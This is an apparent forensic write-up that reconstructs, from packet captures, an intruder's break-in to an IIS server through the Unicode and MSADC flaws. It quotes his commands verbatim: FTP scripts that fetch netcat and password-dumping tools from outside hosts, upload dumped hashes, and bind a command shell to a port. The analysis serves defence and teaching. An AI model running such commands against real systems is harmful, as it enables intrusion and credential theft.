Summary and answers to questions
================================

1. Two main exploits were used.  One was the IIS Unicode problem, which allows a remote
user to read any file that the web server can access.  The other was a known problem
in MSADC, which allows arbitrary code to be executed.

2. This was exploited to allow the cracker to FTP netcat, and then bind a command shell
to a port so he could telnet in.

3. Once access was gained, the cracker mainly nosed around the filesystem, and attempted
to elevate access either through recovering a copy of the SAM database, or through
adding himself to the administrator group.

4. This attack could have been prevented by making sure the IIS server was properly patched.

http://www.microsoft.com/technet/security/iischk.asp

would have helped.  The bugs in question are around two years old.

5. I spent about four hours on this.  I used ethereal mostly because of the TCP session
reassembly.  tcpdump, and some perl magic were used to help me spot the commands sent
via the msdac bug, but a small bug and the cracker's constant bumbling made me second
guess the output.

On a side note, I would classify this person as a script kiddie.  The attack and penetration
was fairly stock, and the constant typos and syntax mistakes are not something
an experienced person would do.

Bonus:

No, he didn't know.  He thought it was a lab machine that was sitting exposed, likely
because of the lack of installed software and default configurations.

Detailed Explanation of Work
============================

Set etherreal filters to 213.116.251.162 (ip.addr == 213.116.251.162) to start off
Added a colourization filter to mark all SYN flags red to make things easier on my poor eyes.

Following his requets, we come across packets 117-120.  arachNIDS identifies these as
iis-unicode attacks.  It would appear he is trying to get the boot.ini file.  They all
work, returning that this is an NT server, and likely does not dual boot.

On a side note, four requests are made for the same file using four different encodings
of the request, suggesting that this portion of the attack has been automated.

Then a directory view of /msadc is tried.  That's forbidden, so the hacker tries for msadcs.dll
directly.  Yep, it's there, so he tries to exploit it.

The "!ADM!ROX!YOUR!WORLD!" string within the stream points to a published exploit:

http://cert.uni-stuttgart.de/archive/bugtraq/1999/07/msg00179.html

Since all commands sent via this method are quite static in terms of formatting, it was
pretty easy to write a perl script to spit out the commands, and to pick them out from
the etherreal requests.

A series of commands are executed 

echo werd > c:\fun
echo user johna2k > ftpcom
echo hacker2000 >> ftpcom
echo get samdump.dll >> ftpcom
echo get pdump.exe >> ftpcom
echo get nc.exe >> ftpcom
echo quit >> ftpcom
ftp -s:ftpcom -n www.nether.net
pdump.exe >>new.pass
echo user johna2k > ftpcom2
echo hacker2000 >> ftpcom2
put new.pass >> ftpcom2
echo quit >>ftpcom2
ftp -s:ftpcom2 -n www.nether.net

In a nutshell, it looks like he's snarfing the username and password hash list
for offline processing.

However, it would appear that something is wrong with account johna2k (stream starting
at packet 438):

220 freenet.nether.net FTP server (SunOS 5.7) ready.
USER johna2k
331 Password required for johna2k.
PASS hacker2000
530 Login incorrect.
QUIT
221 Goodbye.

It is likely that johna2k was a hacked account which has been closed.

At packet 459, he's back to getting some web pages, until 506 when he's going to
execute another command

ftp 213.116.251.162

which opens an FTP connection to his own server:
220-Serv-U FTP-Server v2.5h for WinSock ready...
220--------H-A-C-K  T-H-E  P-L-A-N-E-T--------
220-W3|_c0m3 T0 JohnA's 0d4y Ef-Tee-Pee S3rv3r.
220-Featuring 100% elite hax0r warez!@$#@
220-Im running win 95 (Release candidate 1), on a p33, with 16mb Ram.
220 -------H-A-C-K  T-H-E  P-L-A-N-E-T--------

If you want a job done right, do it yourself, eh?  Redo this to his own FTP server.

more commands

echo open 213.116.251.162 > ftpcom
echo johna2k >ftpcom                     # oops!
echo hacker2000 >> ftpcom
echo get samdump.dll >> ftpcom
echo get pwdump.exe >> ftpcom
echo get nc.exe >> ftpcom
echo quit >> ftpcom
ftp -s:ftpcom

And nothing happens! (because he killed the "open" line)

So he tries again, different server
open 212.139.12.26
echo johna2k >>sasfile
echo haxedj00 >>sasfile
echo get samdump.dll >> ftpcom
echo get pdump.exe >>sasfile
echo get nc.exe >>sasfile
echo quit >>sasfile
ftp -s:sasfile

Once again, nothing, because he forgot to redirect the "open" command (he was
doing better when he passed it on the command line!!)

Not a swift fellow,

open 213.116.251.162
echo johna2k >>sasfile
echo haxedj00 >>sasfile
echo get samdump.dll >> ftpcom
echo get pdump.exe >>sasfile
echo get nc.exe >>sasfile
echo quit >>sasfile
ftp -s:sasfile

Seeing that he has failed yet again, he copies cmd.exe into the msadc directory,
and starts to do the same thing.  This time, commands are executed through a similiar
exploit.

This time, it's a bit more successful.  In 1224, he executes nc.exe (presumable netcat)
on port 6969 attached to his cmd1.exe.

At 1275 he initiates a session to his netcat port, and pokes his head around a bit.
In the root directory, he notices an exploits directory which catches his attention.

After a bit of poking around, he probably notices the "syslogd" and "wiretrip" directories,
and may have clued in:

C:\>echo Hi, i know that this a is a lab server, but patch the holes! :-) >>README.NOW.Hax0r
echo Hi, i know that this a is a lab server, but patch the holes! :-) >>README.NOW.Hax0r

A bit of fooling around with the net command, and then another stab at snarfing the password
file that he couldn't get earlier from the command line and through the msdac hole.  He also
tries creating an rdisk in the root directory, to get the backup SAM.

He does a bit of housecleaning, fumbles a few more commands, then leaves this session.

More fumbling, tries to do another nc on port 6969, but that doesn't work.  Tries on 6968.

On this session, he does some more poking (into the wiretrip directory too), and looks around
inetpub.  Then he looks for other drives, but finds none.

End of dump.